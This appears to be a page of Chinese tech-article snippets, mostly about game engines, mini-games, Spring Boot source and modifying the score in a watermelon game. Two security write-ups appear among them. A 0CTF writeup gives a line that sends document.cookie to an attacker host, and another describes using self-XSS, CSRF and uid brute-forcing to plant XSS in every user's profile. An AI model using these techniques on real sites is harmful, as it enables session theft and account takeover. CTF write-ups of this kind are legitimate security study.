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175亿美元,游戏引擎Unity会被移动广告商收购

机器之心报道 机器之心编辑部 游戏领域最受瞩目的一次并购? 在游戏领域,很少有人不知道 Unity 游戏引擎。...它是跨平台的 2D 和 3D 游戏引擎,由 Unity Technologies 开发,用于开发跨平台视频游戏,并延伸至基于 WebGL 技术的 HTML5 网页平台以及 tvOS、Oculus Rift...8 月 10 日晚上,据路透社等外媒报道,游戏软件公司 AppLovin Corp 于当地时间周二提出收购报价,提出以 175.4 亿美元的价格将 Unity 游戏引擎收入囊中。...AppLovin 于 2018 年 3 月成立了 Lion Studios,这是一家位于旧金山的移动游戏发行工作室,主要与游戏开发商合作发布和推广移动游戏。...比较著名的游戏包括与中国休闲游戏开发商 SupertapX 合作开发的《恋爱球球》和《救救小姐姐》。 图源:lionstudios.cc AppLovin 还投资了不同的移动游戏发行商。

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不懂源码、NDK、架构设计,只会写业务代码,真的会被淘汰

架构师这个岗位需要经验和能力双重提升,不是技术能力强就能成为架构师,需要很深邃的编程思想支撑,能一针见血的指出常见问题的所在,同时不停的优化解决问题的思路,优秀的程序员从来都会觉得自己能写出更棒的代码来...有一种程序员喜欢折腾,折腾实现方式,质疑架构思想等等,很多开源社区里面优质的社区文化之一,就是重构不停的重构,从安卓和chrome代码实现上就可以看出端倪,这是一帮有着极强想法的程序员设计的模块代码,有时候还不容易下了源码看懂了一个模块实现...,结果过了几天再去更新代码发现之前看明白的代码已经被新的实现方式代替了,这就是代码的重构,优秀的程序员总是喜欢折腾。

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你了解?小游戏和H5小游戏不是一码事

游戏最初的模样如果我们要追溯其源头的话,早在2016年4月12日,微信发布了相关的《微信外链规范》,将诱导分享、诱导关注、H5游戏等9大类外部链接内容列为违规内容,一经发现将立即作停止访问、屏蔽链接等处理...整体全年流水效益超过千万的小游戏产品就已经破50款,过亿的则有7款。图片根据数据我们可以明显发现,现在的小游戏正走向繁荣阶段,并且其背后的商业规模也在不断壮大发展。H5游戏和小游戏比较有哪些差距?...,也会去掉一些对游戏开发不是很重要的部分,像Dom、Bom 等,微信小游戏也没有webview。...如下表所示,小游戏中常见的引擎有:引擎理念Three.js基于 WebGL 的 3D 渲染引擎库Pixi.js高性能的 WebGL 模式 2D 渲染引擎,API 简陋,常被 JS 框架封装为渲染内核Layabox...unity 引擎小游戏转换技术虽然H5游戏与小游戏之间有差别,但是其关系也不是非黑即白。

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springboot2.0.3源码篇 - 自动配置的实现,发现不是那么复杂

妈妈: “当年你爸不是穷嘛!‘     女儿: “穷你还嫁给他!”     妈妈: “那时候刚刚毕业参加工作,领导对我说,他是我的扶贫对象,我年轻理解错了,就嫁给他了!”     女儿.........BeanDefinition bd = holder.getBeanDefinition(); try { // 被@Configuration注解修饰的类会被解析为...包括@Import支持的4种类型:ImportSelector、ImportBeanDefinitionRegistrar、@Configuration和普通java类 // 普通java类会被按...ConfigurationClass,例如AnimalConfig,就没有父级ConfigurationClass,解析就比较简单,我们无需关注,但AutoConfigApplication就不一样了,他往往会被多个注解修饰...条件注解更详细的信息请查看:spring-boot-2.0.3源码篇 - @Configuration、Condition与@Conditional,读取spring.facoties文件的详细信息请查看

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JAVA贪吃蛇小游戏_js贪吃蛇难

《Java小游戏实现》:贪吃蛇 在完成坦克大战之后,就想到了贪吃蛇这个小游戏,因为这两个游戏太像了,因此,就决定把这个游戏来尝试的写下。接下来的几篇博文就是来记录这个小游戏实现的全过程。...首先,我们先新建一个Node类来表示构成蛇的节点,用面向对象的思想,发现,这个类应该有如下的属性和方法: 1、位置 2、大小,即长度、宽度 3、方向 4、构造方法 5、draw方法 Node类的代码如下...} Direction是一个enum,具体如下: public enum Direction { L,U,R,D } 而在Snake类中,用面向对象的思维,可以发现...完成的功能:添加边界处理 在我们熟悉的贪吃蛇游戏中,我们一般都知道,当蛇撞到墙或者是撞到自己身体的某一部分,则游戏就结束。下面我们就来实现这一功能。...本游戏的处理方法为:通过设置一个boolean 变量,来停止游戏并提示相关信息。

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不是偷拍的变态,只是在找表情包的本尊 | TensorFlow.js游戏

故事要追溯到,TensorFlow.js刚刚发布的时候。 图像控制的吃豆人,足足玩了我一上午。没有写反,它玩了我。还好,今天要讲的不是它。...不是说这些东西我们很少用,而是如果用镜头来告诉表情包,我们有爱,说不定它们也会生出受到宠溺的感觉。...游戏是这样的,每一关都有一个需要寻找的表情包,玩家如果在规定时间 (比如15秒) 内找到它,就可以为下一关争取更多的时间。 ? 请在屏幕倒计时过后开始游戏,以下为可爱的示范: 题1: ? 解1: ?...这游戏真可谓聚会良品,只要和惩罚游戏搭配食用,就可以让小伙伴们在找东西和藏东西的过程中,享受愉tao悦lu的时光。无论如何,都感觉对抗赛比较有趣。...有了TensorFlow.js,不需要一大群云端服务器,所有计算都在手机上完成。系统不会保存手机拍下的任何一张照片,这一点非常友好。

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NAS可搭建小游戏合集,快看看有你喜欢的? - 熊猫不是猫QAQ

前言 最近粉丝们一直让我谢谢NAS上搭建游戏服务器的事情,目前已经找到了可用的DNF,亲测可搭建并且傻瓜式教程。当然在放大招之前肯定还是先吃点开胃小菜,今天熊猫边介绍一下NAS上可搭建的一些小游戏。...图片 端口映射 随后我们输入ip+端口就可以看到游戏界面了,如果启动不成功记得等待一会儿,因为游戏可能需要加载一下。...(甚至还带有关卡编辑器,可自行编辑关卡后去折磨你的好朋友) 图片 界面 RPG游戏 没想到吧!NAS还能搭建RPG游戏!不过该镜像需要我们自己自行构建,作者只提供了Dockerfile文件。...图片 容器设置 随后我们输入ip+7878就可以访问游戏主界面了。让我惊讶的是这居然是一个大型多人在线游戏,那是不是意味着可以多人呢?...图片 熊猫战士 2048小游戏 2048也是一款不错的益智游戏,刚出的时候便风靡一时。不过这一类游戏的热度都是有生命期的,所以现在其实很少能看到有人玩了,不过问题不大。

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代码已开源,一起魔改大西瓜!

合成大西瓜 游戏界面简单,打开就可以玩游戏,无广告等多余因素的干扰。游戏音效也是一大亮点,趣味十足,各年龄段的玩家都可以体验尝试! ?...这样一款火爆的游戏,作为程序员,源码你不想学学源码 吃瓜群众玩合成大西瓜,吃瓜程序员当然要玩源码! ? 已为大家备好基础源码,看下实现效果,打几分? ?...源码,主要使用 Cocos 游戏引擎开发。 总共就四个核心文件:主页 index.html 、配置 settings.js、核心 project.js、还有广告 ads.js!...发现分数是由 default.score 作为统计值的,有这么一行代码: a.default.score += this.fruitNumber + 1 那我只要把基数 1 改为自己定义的数字即可~ 当然也可以让用户自己输入...除了研究源码,魔改代码。还有一个值得玩一玩,论如何寻找吃瓜最优解。 根据游戏规则训练个算法,自动寻找最优解,让吃瓜更高效!在线蹲一个大佬开源。 絮叨 明天,又要放假了。 ?

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魔改一波合成大西瓜!代码已开源~

《合成大西瓜》这个游戏真真真的是太火了,光微博热搜都上了两天,玩起来,真的很上头…………。 这不,网上就有大神把合成大西瓜实现出来了,并且把源码开源,Fin哥已经给大家找好了,文末直接获取。...合成大西瓜 游戏界面简单,打开就可以玩游戏,无广告等多余因素的干扰。游戏音效也是一大亮点,趣味十足,各年龄段的玩家都可以体验尝试! ?...这样一款火爆的游戏,作为程序员,源码你不想学学源码 吃瓜群众玩合成大西瓜,吃瓜程序员当然要玩源码! ? 已为大家备好基础源码,看下实现效果,打几分? ?...源码主要使用 Cocos 游戏引擎开发。 总共就四个核心文件:主页 index.html、配置 settings.js、核心 project.js、还有广告 ads.js!...发现分数是由 default.score 作为统计值的,有这么一行代码: a.default.score += this.fruitNumber + 1 那我只要把基数 1 改为自己定义的数字即可~ 当然也可以让用户自己输入

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魔改一波合成大西瓜!代码已开源~

Guide 哥最近什么排队买饭、带薪拉屎的时候,都在玩这个游戏,有点上头! 合成大西瓜 游戏界面简单,打开就可以玩游戏,无广告等多余因素的干扰。...这样一款火爆的游戏,作为程序员,源码你不想学学源码 吃瓜群众玩合成大西瓜,吃瓜程序员当然要玩源码! ? 已为大家备好基础源码,看下实现效果,打几分? ?...源码主要使用 Cocos 游戏引擎开发。 总共就四个核心文件:主页 index.html、配置 settings.js、核心 project.js、还有广告 ads.js!...发现分数是由 default.score 作为统计值的,有这么一行代码:、 a.default.score += this.fruitNumber + 1 那我只要把基数 1 改为自己定义的数字即可~...除了研究源码,魔改代码。还有一个值得玩一玩,论如何寻找吃瓜最优解。 根据游戏规则训练个算法,自动寻找最优解,让吃瓜更高效!

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0CTF h4x0rs.club12 复现

登录之后发现是一个猜宠物的小游戏。 ? 左上角翻译如下: 那只神奇宝贝是谁?是大家都知道的游戏不是? 点击播放 猜猜神奇宝贝的名字 回答 所以可以明白这个游戏是干啥的了。...所以猜测,游戏是在与一个其他服务器上通信,所有的游戏资源都在那里。 仔细分析引入的js可以发现。他是在和另一个页面,即socket进行通信。...于是成功脱下源码。(不过多介绍了,本来就挺长了) 然并卵,什么都看不出来,尤其是有个防止叫csrf的页面,更是让我欲仙欲死,从csrf方面想了半天。 然后继续,又发现加载了一下js ?...msg= 你会发现,哇塞。果然自动开了局游戏,比按键精灵还爽有没有?...> 其他的就不用我多说了吧,js里改成 loction.href='youhost'+document.cookie 不过,记得url编码一下,要不+号会被识别为空格。

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WeTest+微信:小程序云端测试系统上线

测试覆盖范围 ● 缺陷发现 测试过程中自动发现小程序抛出的JS异常 ● 性能数据分析 测试过程中收集包含加载时间、CPU占用率、内存占用量等数据指标 ● 机型覆盖 小程序会被随机分配到4~8个不同机型的机器...Q & A “ 云真机是真实的机器? 是的。机器由WeTest腾讯质量开发平台部署和维护 “ 为什么我的小程序里一个很明显的JS错误没有在云测试时发现?...它的每一次的执行路径都不一样,且受执行时间限制,所以有可能没有执行到缺陷存在的路径 “ 云测试能发现我的小程序中的文本错误? 不能。...代理算法不是一个智能体(虽然我们在努力给它添加更多的智能行为),对人来说显而易见的错误它可能却无法发现,尤其是业务类错误。文本错误至少要求语义理解的能力,所以它不能。...✬如果你喜欢这篇文章,欢迎分享到朋友圈✬ 关于腾讯WeTest 腾讯WeTest是腾讯游戏官方推出的一站式游戏测试平台,用十年腾讯游戏测试经验帮助广大开发者对游戏开发全生命周期进行质量保障。

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魔改一波合成大西瓜!代码已开源~

合成大西瓜 游戏界面简单,打开就可以玩游戏,无广告等多余因素的干扰。游戏音效也是一大亮点,趣味十足,各年龄段的玩家都可以体验尝试!...图片 这样一款火爆的游戏,作为程序员,源码你不想学学 源码 吃瓜群众玩合成大西瓜,吃瓜程序员当然要玩源码! 图片 已为大家备好基础源码,看下实现效果 ,打几分?...图片 源码,主要使用 Cocos 游戏引擎开发。 总共就四个核心文件:主页 index.html 、配置 settings.js、核心 project.js、还有广告 ads.js!...发现分数是由 default.score 作为统计值的,有这么一行代码: a.default.score += this.fruitNumber + 1 那我只要把基数 1 改为自己定义的数字即可~...除了研究源码,魔改代码。还有一个值得玩一玩,论如何寻找吃瓜最优解 。 根据游戏规则训练个算法,自动寻找最优解,让吃瓜更高效!在线蹲一个大佬开源。

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魔改和上线你的合成大西瓜,最全教程!

正好在知乎上偶然刷到了一个相关问题,“ 小游戏《合成大西瓜》源代码有?” 那就开工吧! 首先去 GitHub 搜索源代码,发现源码已经被曝光的稀巴烂了,然后就下载了一份源代码到本地,摩拳擦掌。...浏览源码后,发现只是魔改一些基础功能的话,不要太简单! 这是我魔改的自定义加分版,轻轻松松千万分!可在线玩:https://dadaxigua.liyupi.com ?...下载源码,本地运行 下载源码 首先从 GitHub 上下载源代码(地址在文末): ? 下载源代码 下载代码后,我们得到这样的目录结构: ?...settings.js,项目配置文件 res 目录,存放图片和音频等资源 下面我们先试着在本地运行小游戏。...通过分析游戏过程,发现改分数有两种实现方式,在计算分数阶段修改,或者直接修改最后要展示的分数。 再简单浏览下项目里的各个文件,发现 project.js 就是影响游戏逻辑的核心文件。

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应届渣渣前端面经(还有游戏策划以及鸡汤)

大三开始做游戏策划,做了几个月又经历了秋招,结果发现自己真心的并不是喜欢做策划,最后还是做回了前端,现在美滋滋的。 本文有前端、游戏策划的面经,可以选择性地看,也可以直接跳到后面看鸡汤。  ...js的自定义事件。...记得增加游戏的广度而不是深度,很多人以为自己玩游戏多了就能做策划,其实只是一个堕落到玩游戏成瘾的,而且仅仅只是某个游戏,lol、王者、吃鸡?...我和很多前端一样,开始是html、css、js,但是我下一步并不是jQuery+bootstrap,而是直接看jQuery源码(表示现在还不熟悉jQuery但是我用起来肯定没问题)。...但是面试官看见我一手原生js,有时候还是对我眉开眼笑的,觉得还不错,问一下源码又答出来(虽然我现场撸不出来一段框架源码)。

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魔改和上线你的合成大西瓜,最全教程!

正好在知乎上偶然刷到了一个相关问题,“ 小游戏《合成大西瓜》源代码有?” 那就开工吧! 首先去 GitHub 搜索源代码,发现源码已经被曝光的稀巴烂了,然后就下载了一份源代码到本地,摩拳擦掌。...浏览源码后,发现只是魔改一些基础功能的话,不要太简单! 这是我魔改的自定义加分版,轻轻松松千万分!...下载源码,本地运行 下载源码 首先从 GitHub 上下载源代码(地址在文末): [下载源代码] 下载代码后,我们得到这样的目录结构: [目录结构] 可以看到整个代码目录并不复杂,是基于 cocos2d...游戏引擎开发,我们只需要了解几个重要文件: index.html,整个项目的主页面 project.js,项目核心代码,游戏逻辑都在这里 settings.js,项目配置文件 res 目录,存放图片和音频等资源...通过分析游戏过程,发现改分数有两种实现方式,在计算分数阶段修改,或者直接修改最后要展示的分数。 再简单浏览下项目里的各个文件,发现 project.js 就是影响游戏逻辑的核心文件。

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实战 | 记一次实战中SelfXSS+CSRF+越权漏洞的组合拳

信息搜集的时候我发现一个游戏玩家中心,用于编辑各种个人信息的。...JS有一个特性是Function()(); 你没看错,大写的Function和小写的function其含义有所不同。 对于Function()来说,写在其第一个括号内的JS语句会被直接执行。...比如说我们可以试试 Function(alert(‘1’))(); 是不是发现,这个特性的用法和eval();不能说是十分相似吧,至少也可以说是一模一样。...我又回去重新看了一下功能,发现这个点别的用户还真就看不到,我去,联系方式不就是给其它用户看的,其他用户看不到,你设计这个功能干啥啊! 没招了,只能想想有没有别的办法。...email已经修改成功 这就更是一个大洞了,只要我利用这个越权漏洞,放到burp里去批量爆破别人uid,并且把address换成我们刚刚的XSS payload,那么全站用户的个人信息都会被写入恶意JS

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